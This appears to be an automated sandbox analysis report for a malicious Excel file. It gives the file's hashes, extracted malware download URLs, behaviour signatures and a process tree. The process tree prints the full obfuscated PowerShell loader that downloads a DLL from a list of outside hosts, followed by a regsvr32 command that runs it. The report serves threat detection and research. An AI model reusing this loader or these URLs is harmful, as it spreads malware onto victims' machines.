Analysis
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max time kernel
133s -
max time network
144s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
20/11/2024, 08:51
Behavioral task
behavioral1
Sample
c7fb1d684accd5f1e50196cb926c29c7286629978134f114dfad67a6e1bab230.xls
Resource
win7-20241010-en
General
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Target
c7fb1d684accd5f1e50196cb926c29c7286629978134f114dfad67a6e1bab230.xls
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Size
88KB
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MD5
4aebb1681e3c52dd4835e9686892fbf3
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SHA1
7a367cd1f59bc48873136268b40ecb5494e03014
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SHA256
c7fb1d684accd5f1e50196cb926c29c7286629978134f114dfad67a6e1bab230
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SHA512
cd4ce445215c7806b49a87dfa7c084f8d3a682429e59e1c1f8ea97cbc602087848b0401cbe9f8dc42ebcc328277b6d915cb249c2865423cfbfaaefa906096795
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SSDEEP
1536:tyehv7q2Pjx45uoDGTj+5xtekEvi8/dg38EsAeE9jbDXQaFkWvgrPE4nWHPNc2Ap:tyehv7q2Pjx45uoDGTj+5xtekEvi8/db
Malware Config
Extracted
http://wearsweetbomb.com/wp-content/15zZybP1EXttxDK4JH/
https://1566xueshe.com/wp-includes/z92ZVqHH8/
http://mymicrogreen.mightcode.com/Fox-C/NWssAbNOJDxhs/
http://o2omart.co.in/infructuose/m4mgt2MeU/
http://mtc.joburg.org.za/-/GBGJeFxXWlNbABv2/
http://www.ama.cu/jpr/VVP/
http://actividades.laforetlanguages.com/wp-admin/dU8Ds/
https://dwwmaster.com/wp-content/1sR2HfFxQnkWuu/
https://edu-media.cn/wp-admin/0JAE/
https://iacademygroup.cl/office/G42LJPLkl/
https://znzhou.top/mode/0Qb/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3964 1460 wscript.exe 82 -
Blocklisted process makes network request 7 IoCs
flow pid Process 28 4764 powershell.exe 37 4764 powershell.exe 41 4764 powershell.exe 58 4764 powershell.exe 60 4764 powershell.exe 68 4764 powershell.exe 72 4764 powershell.exe -
pid Process 4764 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation wscript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language regsvr32.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1460 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4764 powershell.exe 4764 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4764 powershell.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 1460 EXCEL.EXE 1460 EXCEL.EXE 1460 EXCEL.EXE 1460 EXCEL.EXE 1460 EXCEL.EXE 1460 EXCEL.EXE 1460 EXCEL.EXE 1460 EXCEL.EXE 1460 EXCEL.EXE 1460 EXCEL.EXE 1460 EXCEL.EXE 1460 EXCEL.EXE -
Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 1460 wrote to memory of 3964 1460 EXCEL.EXE 87 PID 1460 wrote to memory of 3964 1460 EXCEL.EXE 87 PID 3964 wrote to memory of 4764 3964 wscript.exe 88 PID 3964 wrote to memory of 4764 3964 wscript.exe 88 PID 3964 wrote to memory of 2780 3964 wscript.exe 98 PID 3964 wrote to memory of 2780 3964 wscript.exe 98 PID 2780 wrote to memory of 2660 2780 cmd.exe 100 PID 2780 wrote to memory of 2660 2780 cmd.exe 100 PID 2780 wrote to memory of 2660 2780 cmd.exe 100
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\c7fb1d684accd5f1e50196cb926c29c7286629978134f114dfad67a6e1bab230.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1460 -
C:\Windows\SYSTEM32\wscript.exewscript c:\programdata\bbiwjdf.vbs2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3964 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$ghkid=('$MJXdfshDrfGZses4=\"http:dhjdhjwearsweetbomb.comdhjwp-contentdhj15zZybP1EXttxDK4JHdhjbouhttps:dhjdhj1566xueshe.comdhjwp-includesdhjz92ZVqHH8dhjbouhttp:dhjdhjmymicrogreen.mightcode.comdhjFox-CdhjNWssAbNOJDxhsdhjbouhttp:dhjdhjo2omart.co.indhjinfructuosedhjm4mgt2MeUdhjbouhttp:dhjdhjmtc.joburg.org.zadhj-dhjGBGJeFxXWlNbABv2dhjbouhttp:dhjdhjwww.ama.cudhjjprdhjVVPdhjbouhttp:dhjdhjactividades.laforetlanguages.comdhjwp-admindhjdU8Dsdhjbouhttps:dhjdhjdwwmaster.comdhjwp-contentdhj1sR2HfFxQnkWuudhjbouhttps:dhjdhjedu-media.cndhjwp-admindhj0JAEdhjbouhttps:dhjdhjiacademygroup.cldhjofficedhjG42LJPLkldhjbouhttps:dhjdhjznzhou.topdhjmodedhj0Qbdhj\" -sPLIt \"bou\"; foReACh($yIdsRhye34syufgxjcdf iN $MJXdfshDrfGZses4){$GweYH57sedswd=(\"ciuwd:iuwd\priuwdogiuwdramiuwddatiuwda\oiphilfj.diuwdliuwdl\").rePlACe(\"iuwd\",\"\");inVOke-weBrEqUesT -uRI $yIdsRhye34syufgxjcdf -oUtFIle $GweYH57sedswd;iF(teSt-pATh $GweYH57sedswd){if((gEt-itEm $GweYH57sedswd).leNGth -ge 47523){bReak;}}}').replace(\"dhj\",\"/\");iex $ghkid"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4764
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\regsvr32.exe /s c:\programdata\oiphilfj.dll3⤵
- Suspicious use of WriteProcessMemory
PID:2780 -
\??\c:\windows\syswow64\regsvr32.exec:\windows\syswow64\regsvr32.exe /s c:\programdata\oiphilfj.dll4⤵
- System Location Discovery: System Language Discovery
PID:2660
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize2KB
MD580fbb31156e3b5afd29aac63e92ea81a
SHA1ebdb386092a7b629a4fccefdc0b6f958bc439194
SHA2562a3a950b987ff0b61e6f106ce286654cf6fbac557df95329e3765ad3fd655fc0
SHA51203caebd03fbc7f444b0d409ab132b6cc6b046bd7069c1b2ef7fdd19f361dcac5b2540a08a8e77690d730651ec0a4a33565d55355b8027ce4d924baa178bdc825
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Filesize
1KB
MD57baad56cc483132b8b9cb7a14722c3b1
SHA1602f7933c443765697bb178ca137f17f81856f0d
SHA25631cb0d7a224f16ec4e998140c4efde8ef752295b8a88080915f0bb2b49034bee
SHA512b1429608e2068dbe868254f9c3130e8ef75932169c417d0928679c3476614df588a72722e34891a2fe80db41e5e8ee054761af2f2fc3b9c6f0e956de8c9a993f